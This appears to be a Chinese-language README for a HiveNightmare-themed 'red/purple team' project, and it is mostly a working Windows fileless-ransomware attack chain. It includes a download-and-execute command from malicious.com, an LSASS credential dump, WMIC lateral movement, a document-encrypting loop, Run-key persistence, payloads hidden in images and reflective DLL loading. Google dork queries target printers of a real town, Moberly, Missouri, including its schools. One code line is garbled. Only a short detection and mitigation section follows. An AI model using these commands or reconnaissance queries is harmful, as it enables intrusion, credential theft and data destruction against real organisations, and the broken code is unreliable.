
CVE-2021-36934/HiveNightmare 是一个教育性红/紫队研究项目,在 Windows 11 上模拟无文件恶意软件攻击框架。它利用 MITRE ATT&CK 技术模拟真实对手杀伤链,重点聚焦于隐蔽、无文件的操作。
警告: 仅限隔离实验室内的研究与训练。不得在生产系统或未授权系统上使用。
以下PowerShell模拟展示了一个使用内置Windows工具(LOLBins)的典型无文件勒索软件攻击链:
# 初始访问:加载木马
IEX(New-Object Net.WebClient).DownloadString("http://malicious.com/dropper.ps1")
# 执行:解码并在内存中加载载荷
$bytes = [System.Convert]::FromBase64String("[Base64Payload]")
[System.Reflection.Assembly]:https://raw.githubusercontent.com/p1rat3r00t/why-so-serious-sam/main/:Load($bytes)
# 权限提升
Start-Process powershell -Args "-ExecutionPolicy Bypass -File C:\Temp\elevate.ps1" -Verb RunAs
# 凭据访问
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full
# 横向移动
wmic /node:targetPC process call create "powershell.exe -File \\share\payload.ps1"
# 文件加密示例
$files = Get-ChildItem -Path "C:\Users\*\Documents" -Include *.docx,*.pdf -Recurse
foreach ($file in $files) {
$data = Get-Content $file.FullName -Raw
$aes = New-Object System.Security.Cryptography.AesManaged
$aes.Key = [Text.Encoding]::UTF8.GetBytes("RANDOM-GEN-KEY-1234567890123456")
$aes.IV = New-Object byte[] 16
$enc = $aes.CreateEncryptor().TransformFinalBlock([Text.Encoding]::UTF8.GetBytes($data), 0, $data.Length)
Set-Content -Path $file.FullName -Value ([Convert]::ToBase64String($enc))
}
# 持久化
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "ransomware" -Value "powershell -File C:\Temp\persist.ps1"
示例目标: 识别密苏里州莫伯利市可能暴露的打印机服务,这些服务可能易受诸如PrintNightmare之类的漏洞攻击。
Google Dork查询示例:
inurl:"/hp/device/this.LCDispatcher" "Moberly"
intitle:"Printer Status" "Moberly Public Schools"
intitle:"Web Image Monitor" inurl:"/wim" "Moberly"
inurl:"/printer/main.html" "City of Moberly"
intitle:"Web Jetadmin" "Moberly"
inurl:"/printers/" "Moberly"
inurl:"/PPS/public/" "Moberly"
intitle:"Konica Minolta" inurl:"/wcd/" "Moberly"
intitle:"PaperCut MF" "Moberly"
intitle:"Lexmark" inurl:"/printer/" "Moberly"
intitle:"Canon Remote UI" "Moberly"
intitle:"EpsonNet Config" "Moberly"
"生活在陆地上的二进制文件"(LOLBins) 是合法且受信任的Windows二进制文件,攻击者常滥用它们绕过安全控制并以无文件方式运行恶意代码。
示例使用(打印服务攻击):
rundll32.exe \\10.10.X.X\shared\payload.dll,ReflectEntry
攻击者使用
rundll32.exe、regsvr32.exe和powershell.exe等LOLBins从网络共享执行载荷,通常是在通过侦察识别出暴露的打印机或服务器之后。
目标: 将存档嵌入图像中,然后使用原生工具提取,从而隐蔽地运送载荷。
步骤:
嵌入载荷:
copy /b nsfw.jpg + payload.7z nsfw.jpg
提取与解码:
certutil -decode nsfw.jpg dropper.7z
7z x dropper.7z -oC:\Users\Public\
该方法绕过了传统的文件扩展名过滤,并利用内置工具进行规避传递。
技术: 使用反射加载直接在内存中加载并执行恶意DLL。
示例:
rundll32.exe \\10.10.X.X\share\nsfw.dll,ReflectEntry
这实现了隐蔽的内存中执行,而不会在磁盘上留下痕迹。
Sysmon + Sigma规则:
rundll32.exe 加载非系统DLLcertutil.exe、regsvr32.exe、mshta.exe 的异常使用SIEM示例(ELK/Splunk):
explorer.exe 生成 rundll32.exe)Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
本仓库中的所有内容、代码和技术仅用于教育和授权渗透测试。未经明确许可,不得在受控、隔离环境之外使用本项目的任何部分。作者对滥用不承担任何责任。
保持安全,负责任地研究,并始终以合法且道德的方式使用。
| 阶段 | 技术 | ID | 描述 |
|---|
| 初始访问 | 有效账户 / 路过式攻击 | T1078, T1189 | 攻击暴露在外的打印接口 |
| 执行 | DLL侧加载 / LOLBins | T1218, T1055.001 | 通过受信任的二进制文件反射运行DLL |
| 权限提升 | Print Spooler漏洞利用 / Hive ACL滥用 | T1068, T1003.002 | 获取SYSTEM级别访问权限并提取SAM哈希 |
| 防御规避 | 无文件执行 / 混淆文件 | T1027, T1202 | 通过certutil、mshta等传递编码载荷 |
| 凭据访问 | LSASS转储 / SAM Hive访问 | T1003 | HiveNightmare后的凭据转储 |
| 横向移动 | SMB/网络共享枚举 | T1021.002 | 通过打印机共享或Spooler枚举扩散 |
| 影响 | 数据破坏 / 加密 | T1485, T1486 | 通过DLL载荷触发的无文件擦除器 |